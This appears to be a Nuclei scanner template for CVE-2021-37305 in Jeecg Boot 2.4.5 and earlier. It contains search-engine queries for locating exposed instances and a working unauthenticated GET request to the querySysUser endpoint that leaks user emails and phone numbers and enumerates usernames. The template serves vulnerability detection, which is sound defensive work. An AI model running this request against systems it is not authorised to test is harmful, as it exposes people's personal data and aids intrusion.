Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure

id: CVE-2021-37305

info:
  name: Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade Jeecg Boot to version 2.4.6 or later to fix the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2794
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37305
    cwe-id: CWE-732
    epss-score: 0.00416
    epss-percentile: 0.73616
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/sys/user/querySysUser?username=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username":"admin'
          - 'success":true'
          - 'result":{'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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